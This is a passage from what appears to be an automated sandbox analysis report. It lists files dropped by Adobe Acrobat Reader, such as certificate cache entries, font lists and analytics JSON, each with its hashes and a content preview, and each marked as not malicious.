Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklJvR0tfllXlE/HT8ksQlzlXNNX8RolJuRdxLlGB9lQRYwpDdt:kKveT8KlzldNMa8RdWBwRd
MD5:	1ADBF7ABE679AC1B4D27BEF6EE98DBBC
SHA1:	C2BAF14AA8EC16CF6EAD3B8E6C65DA28C40DD86B
SHA-256:	97506336FD578F27A8FAC7D9B072BB1F26DC9678E2C1F048360528697BEDEAED
SHA-512:	0241BE2C1B9E86F50DF84EB38C26858035BD1444B3FBD7245B01649F907AA8B3971E573F66F60B52FE7E4ED1797BD0E39CC60D96E4CDC4BE3D66EE0149FF7550
Malicious:	false
Preview:	p...... ........:R...c..(....................................................... ..........W.....u..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.226999230143312
Encrypted:	false
SSDEEP:	6:kK1PL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:FiDImsLNkPlE99SNxAhUe/3
MD5:	067A36DC51E2DF6E35625C82ADAAC52C
SHA1:	2BCF69FFF9C29A5C4D4361B1465718674E33E759
SHA-256:	EED00141093501F185047E22530A298073819AE0E19AE2CF82CC175F9FEF4736
SHA-512:	94A80CFCD37E1732C162A36080D67D6015F03A569007F9CC5133E6611EFD7DD2E985BF0724A7B5B5BD200255FC0F8684EE966E2F0A2FE1F6668458B61E495A5D
Malicious:	false
Preview:	p...... ........r.?..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8036

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8036

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.329899715496082
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHkGPsGQelWO2vB3/dVlPIHAR0YR3RkoAvJM3g98kUwPeUkwRe9:YvXKXEGEH7O2vR/ZwHATGMbLUkee9
MD5:	7D6462C635DABDFCD3417B0BC74967D1
SHA1:	6C21D2FB49B8636E1657FABDEA3F78D9B73F85CC
SHA-256:	97FD972B61FF47FE22B2E0E0FFC29E4A6DA5CA4A896E6C9E41721B58FD23F2D5
SHA-512:	1517AE97894FB652C7A16A7D429A9FE408BAB70AE102EC80FA2F9F42AD084A3EE7ED869BBCF408625829D46E410ADF141186342510F07FC486947412C3011E80
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0434c660-76b0-492f-9c3e-621c5e5eee26","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736747296142,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2624359262663365
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHkGPsGQelWO2vB3/dVlPIHAR0YR3RkoAvJfBoTfXpnrPeUkwRe9:YvXKXEGEH7O2vR/ZwHATGWTfXcUkee9
MD5:	E0962F2E62CA7AFAC208362585486EFA
SHA1:	40F106220CB12FD5511DF11A8687E4AB0461B56F
SHA-256:	6D2D32D00F94A88E938E34ACC09A697CD63E998CD4838A4F80E39CA4FBBD35FC
SHA-512:	0A14C16C4F68ED0BA1967D898C743A83456075319356E797E8E8AD225E805DEF082E7EE479E9113762BAA7B08D87ADB7DB75EAE02C7D30BF2343D81CE48454BB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0434c660-76b0-492f-9c3e-621c5e5eee26","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736747296142,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.241351447324192
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHkGPsGQelWO2vB3/dVlPIHAR0YR3RkoAvJfBD2G6UpnrPeUkwRe9:YvXKXEGEH7O2vR/ZwHATGR22cUkee9
MD5:	652D60CD1F35750715B0D09B4C66BB2C
SHA1:	92D24598AF9D2135E82D4FF07AF7522ADA6BCAAE
SHA-256:	EF0FCEB42A8A7884E6E76ED8E34205CB2C40BC73A830CA887F8127B0AC79DA8C
SHA-512:	EFEC9A44BC6D3DE3FB3DD7F3AAC6947931E56D47A171E61478E31E4A2820E4014FE690BF22B4FA2AFC585EC2E7BD763D9875924EF99B2DE3BD55E9C8A814DCA8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0434c660-76b0-492f-9c3e-621c5e5eee26","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736747296142,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.305674098152918
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHkGPsGQelWO2vB3/dVlPIHAR0YR3RkoAvJfPmwrPeUkwRe9:YvXKXEGEH7O2vR/ZwHATGH56Ukee9
MD5:	AFB053BED7280A257B13906AB1B17D9C
SHA1:	42D0C894B51ABD1E549ABA20A477C27A9A48FFCB
SHA-256:	DB5054CF98D494DC62EA8FA91F167B4C88826A9D122BB80CC53044AF5D26CFEE
SHA-512:	4B91CAA820E5BBC43F2E0E50DEF8CA1907F56BD72B3D6BFDFD72895AA206B815F370B87AB0011E7814FF23C98B9585E423A18AD78F587174D1AEFCF1025FFDDA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0434c660-76b0-492f-9c3e-621c5e5eee26","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736747296142,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687422156465351
Encrypted:	false
SSDEEP:	24:Yv6XvEa2JhUpLgE9cQx8LennAvzBvkn0RCmK8czOCCSJ2:Yv5NJhUhgy6SAFv5Ah8cv/J2
MD5:	60745E5CD4EB4C7B9D1626A20285C40D
SHA1:	266F7E0691C7C61412A2592534E86BEB648398C7
SHA-256:	ACD5EE1DC12A070ED5DFB9B3803C6049008B272E04F66A2B8716C35F1A172067
SHA-512:	A699609CB2074E12B9CA8F98E1234E130C850FE2204CA374149CDD4A2BB87FAAF3E7FDDC9FB88D0738A9076310A9FA2B782341F92D5EFF1A84A227338F6BABA2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0434c660-76b0-492f-9c3e-621c5e5eee26","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736747296142,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.25467256843805
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHkGPsGQelWO2vB3/dVlPIHAR0YR3RkoAvJf8dPeUkwRe9:YvXKXEGEH7O2vR/ZwHATGU8Ukee9
MD5:	9B0C552D0680DD8760D0380E2F08E532
SHA1:	D3A8CAAE4EE9FDB8FE1518FE9EBF2753A4AEA1ED
SHA-256:	136891569213B8E6AF220B4107EA9160D0A2386F86B126A04A1DA2917A6470B3
SHA-512:	01FC08F43158FD89FDFC9120840A0CC2ADB781A623F02A8DD1FC615B08F7AEF1D425F10452EDE04FF5C35F789E9B08A65A06161CD5FA6A0CDD6215B5A456418B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0434c660-76b0-492f-9c3e-621c5e5eee26","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736747296142,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2521058797076385
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHkGPsGQelWO2vB3/dVlPIHAR0YR3RkoAvJfQ1rPeUkwRe9:YvXKXEGEH7O2vR/ZwHATGY16Ukee9
MD5:	66502D2F5617C869C7A20DAF9A257396
SHA1:	12CAC043444540A13A81D7C44E24C7D81DDC2F45
SHA-256:	36C3F857A106792B1CEFA3D64EF1ED96819FBD28824F6ACF914A3587319D692A
SHA-512:	FD8CF4D1FFD4E8268FFD5CB5140B6AB1B18CF8EC25F5EFA635BC19A5F2ACDD281EE391320D928D92E549004E70B0BE6563EE8DBF2D262E6CFA3FBA7D05D8B22D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0434c660-76b0-492f-9c3e-621c5e5eee26","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736747296142,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.271861104617632
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHkGPsGQelWO2vB3/dVlPIHAR0YR3RkoAvJfFldPeUkwRe9:YvXKXEGEH7O2vR/ZwHATGz8Ukee9
MD5:	80C411EE361CDF88CBDC7124EB639531
SHA1:	2A5576C7D8A6BE0DF6AE436BED62EA3B8112DE34
SHA-256:	C21D7ABE8A44C4982E2E688FB7AC8819C63DA1E03967717E69F19EA04E2801CF
SHA-512:	B75AA8C70D6C338CF832A54D2F2496A6EBA803C222854E40388C769B53519EC7A97E7CFC37F50E2DBF9CC9FACBBB0B264764F92B5DFDBB1761BC652B1BAAB1F1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0434c660-76b0-492f-9c3e-621c5e5eee26","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736747296142,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.2838790632104535
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHkGPsGQelWO2vB3/dVlPIHAR0YR3RkoAvJfzdPeUkwRe9:YvXKXEGEH7O2vR/ZwHATGb8Ukee9
MD5:	BF65BE5C92924D9138825CB90955FA82
SHA1:	1CDC8D783240F6E1BC820D02B1120B8B463B459D
SHA-256:	76B95FCCEB33B26EE9C46531EB98A658EF9817A90CBC6E66C56F53BD1755D799
SHA-512:	70EA74F3D5F83C3939DDE7550DF239167C64CC42F71EFA9A455E2414408A99164E8428C497FBE4205AEC548424FA43D5814AC4313835D5A8A0BB223F99E32C25
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0434c660-76b0-492f-9c3e-621c5e5eee26","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736747296142,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2631800793229555
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHkGPsGQelWO2vB3/dVlPIHAR0YR3RkoAvJfYdPeUkwRe9:YvXKXEGEH7O2vR/ZwHATGg8Ukee9
MD5:	241C1AC5B7F344E919BE7A346EBB29DF
SHA1:	9DD01EFC1F4D79E99D07D9A4BCC25E11E24D11DF
